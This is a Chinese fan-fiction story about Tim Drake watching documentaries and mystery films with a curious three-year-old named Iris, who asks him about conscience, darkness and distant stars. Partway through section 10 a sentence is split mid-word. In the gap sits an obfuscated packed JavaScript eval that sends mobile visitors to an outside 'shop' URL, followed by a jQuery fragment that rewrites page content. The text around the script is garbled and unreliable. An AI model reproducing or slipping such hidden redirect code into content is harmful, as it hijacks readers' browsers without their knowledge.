1.


    提姆第一次认真注意到艾瑞斯，是在一个再普通不过的下午。


    他刚处理完一摞公司文件，从书房出来倒咖啡。走廊里很安静，只有他自己的脚步声。然后他感觉到了什么。


    一道视线。


    他停下脚步，转过头。


    走廊拐角处，一个小身影站在那里。浅灰黑色的头发有点乱，蓝眼睛正看着他。没有躲闪，没有害羞，就那么看着。


    提姆看着她。


    她看着他。


    三秒后，那个小身影转身走了。


    啪嗒啪嗒的光脚声消失在走廊尽头。


    提姆端着咖啡杯，站在原地。


    2.


    后来提姆发现，艾瑞斯经常在观察。


    不是那种偷偷摸摸的观察，而是光明正大的——她就站在那里，或者坐在某个角落里，安安静静地看着。看阿福做饭，看迪克练功，看布鲁斯看报纸，看达米安和杰森吵架。


    她什么也不说，就只是看。


    提姆对这种行为很熟悉。


    因为他自己也这样。


    3.


    那天下午，提姆在客厅里看一部纪录片。


    关于深海生物的。画面里是黑暗的海水，发着光的奇怪生物，缓慢游动的巨型鲸鱼。他靠在沙发上，手里端着第二杯咖啡。


    然后他感觉到那道视线。


    他微微侧过头。


    艾瑞斯站在沙发后面，两只手扒着沙发背，只露出半张小脸。那双蓝眼睛盯着电视屏幕，一眨不眨。


    提姆没说话。


    他继续看纪录片。


    艾瑞斯继续扒着沙发背。


    一集放完，进入广告。艾瑞斯眨了眨眼睛，像是刚从什么梦里醒过来。


    “那个鱼，”她开口，“为什么发光？”


    提姆转过头。


    “为了吸引猎物。”他说，“也为了找同伴。”


    艾瑞斯想了想。


    “光不会吓跑它们吗？”


    “不会。”提姆说，“深海是黑的，有光反而特别。”


    艾瑞斯点点头看的很认真。


    广告结束，下一集开始。她没有走，继续扒着沙发背。


    提姆也没有赶她。


    4.


    从那以后，提姆发现艾瑞斯开始出现在他附近。


    不是故意的那种出现，就是——他在书房处理文件，门口会探出一颗小脑袋。他在客厅看新闻，沙发后面会多出一双扒着的手。他在花园里喝咖啡，旁边的灌木丛后面会传来窸窸窣窣的声音。


    她不打扰他。


    就只是看着。


    提姆觉得这很有意思。


    大多数孩子在这个年纪，要么吵着要人陪，要么自顾自地玩。但艾瑞斯不一样。她好像只需要在旁边待着，就能满足。


    就像一只小动物。


    观察世界的小动物。


    5.


    有一天，提姆在看一部悬疑片。


    剧情很复杂，反转再反转。他一边看一边在心里梳理线索，猜测凶手是谁。


    看到一半，他感觉到那道视线。


    艾瑞斯又扒在沙发背上了。


    提姆看了她一眼。三岁小孩，看悬疑片？


    他没说话。


    继续看。


    电影演到凶手现身的时候，艾瑞斯忽然开口了。


    “那个警察是坏的。”


    提姆愣了一下。


    “你怎么知道？”


    艾瑞斯想了想。


    “他笑的时候眼睛没笑。”


    提姆看着屏幕里那个警察——确实是坏的。


    他转过头，重新审视这个扒在沙发背上的小不点。


    6.


    “你还看出什么了？”他问。


    艾瑞斯想了想。


    “那个女的，她知道凶手是谁。”


    “为什么？”


    “她看那个警察的眼神不一样。”艾瑞斯说，“像我看迪克藏起来的好吃的。”


    提姆：“……”


    这个比喻很奇特，但他听懂了。


    电影继续放。后来证明，那个女的确实早就知道——她是凶手的同谋。


    提姆看着艾瑞斯。


    艾瑞斯看着屏幕。


    她不知道自己在三分钟里让一个少年侦探产生了多大的兴趣。


    7.


    那天之后，提姆开始有意识地给艾瑞斯推荐片子。


    不是普通的动画片。是纪录片。是悬疑片。是那些需要动脑子看的东西。


    他发现自己很好奇——这个三岁的小孩，到底能看懂多少？


    《动物世界》放完，艾瑞斯问：“它们为什么要打架？”


    “为了争地盘。”


    “什么是地盘？”


    “就是……自己的地方。”


    艾瑞斯点点头，过了一会儿说：“那我也有地盘吗？”


    “你有房间。”


    “那是阿福帮我争的吗？”


    提姆想了想这个逻辑，忽然笑了。


    “不是。那是你的，不用争。”


    艾瑞斯满意地点点头。


    8.


    《深海探秘》放完，艾瑞斯问：“那些鱼为什么要住在那么黑的地方？”


    “因为那里安全。”


    “黑的地方安全？”


    “对它们来说是的。”


    艾瑞斯沉默了一会儿。


    “哥谭不黑吗？”


    提姆愣了一下。


    “哥谭也黑。”他说。


    “那哥谭安全吗？”


    提姆看着她。


    那双蓝眼睛很认真，在等着他的答案。


    他不知道该怎么回答。


    最后他说：“对一些人来说是的。”


    艾瑞斯点点头，没再问。


    9.


    《犯罪现场调查》放完，艾瑞斯问：“那个人为什么要杀人？”


    “因为……很多原因。”


    “比如？”


    “比如他生气了。或者他想要什么。或者他害怕什么。”


    艾瑞斯想了想。


    “生气就要杀人吗？”


    “不是。只有坏人这样。”


    “什么是坏人？”


    提姆发现自己被一个三岁小孩问住了。


    他想了想，说：“坏人就是……做了不应该做的事的人。”


    “谁决定什么是不应该的？”


    提姆看着她。


    那双蓝眼睛亮晶晶的，是真的在问问题。


    “法律。”他说，“还有……良心。”


    “良心是什么？”


    “就是心里告诉你‘这个不对’的那个声音。”


    艾瑞斯低下头，像是在听自己的心里有没有声音。


    过了一会儿，她抬起头。


    “我有。”她说。


    提姆笑了。


    “那就好。”


    10.


    后来，看片子成了他们之间的固定节目。


    不是每天，而是偶


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250626|197845||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    尔。提姆有空的时候，会在客厅里放点什么。艾瑞斯会准时出现，扒在沙发背上，或者爬到沙发上挨着他坐。


    他们不怎么说话。


    就只是看。


    但看完之后，艾瑞斯总会问问题。


    有时候是简单的：“那个鸟为什么是红色的？”


    有时候是奇怪的：“那个人哭的时候，为什么鼻涕也会流出来？”


    有时候是让提姆也答不上来的：“如果所有人都觉得一件事是对的，那它就是对吗？”


    提姆开始期待这些问题。


    他不知道一个三岁小孩的脑袋里装着什么，但每次她问完，他自己也会想很久。


    11.


    有一天，他们看了一部关于宇宙的纪录片。


    星空。银河。黑洞。那些遥远的、人类够不着的地方。


    艾瑞斯看得入神。


    片子放完，她很久没说话。


    提姆以为她睡着了，转过头看。


    她睁着眼睛，看着已经变黑的屏幕。


    “提姆。”


    “嗯？”


    “那些星星，离我们很远吗？”


    “很远。”


    “有多远？”


    “远到……这辈子都到不了。”


    艾瑞斯沉默了一会儿。


    “那它们还在吗？”


    提姆愣了一下。


    “什么？”


    “我们看到的星星，”艾瑞斯说，“是它们很久以前的样子。那它们现在还在吗？”


    提姆看着她。


    他不知道该怎么回答这个问题。


    “有些还在，”他说，“有些已经不在了。”


    艾瑞斯点点头。


    又过了一会儿。


    “那如果我现在看爸爸，”她说，“我看到的是现在的爸爸吗？”


    提姆想了想。


    “是。”


    “那如果我看不到他，他就不在了吗？”


    提姆的心忽然软了一下。


    “不是。”他说，“他还在。只是你看不到。”


    艾瑞斯点点头。


    她把脑袋靠在他胳膊上，很轻。


    “那就好。”


    12.


    那天晚上，提姆在书房里坐了很久。


    他在想那些问题。


    一个三岁的小孩，问了他关于宇宙、关于存在、关于距离的问题。他不知道她从哪儿学来的，不知道她为什么要想这些。


    但他知道一件事。


    这个小女孩，比他想象的要有意思得多。


    13.


    后来有一次，布鲁斯问他：“你和艾瑞斯在一起的时候，都在干什么？”


    提姆想了想。


    “看电影。”


    “什么电影？”


    “纪录片。悬疑片。科普片。”


    布鲁斯沉默了一下。


    “她看得懂吗？”


    提姆看着他。


    “她比我以为的懂很多。”他说，“而且她会问问题。”


    “什么问题？”


    提姆想了想那个关于良心的问题，关于存在的问题，关于光年距离的问题。


    “好问题。”他说。


    布鲁斯没有说话。


    但他嘴角弯了一下，不过又想到了什么变得不开心。


    “…那这就意味着她每天看电子产品都超过了规定的四小时，再结合你每天看设备都是很晚的时候而她的精神最近一直不济…那么我想答案已经很明显了。提姆。”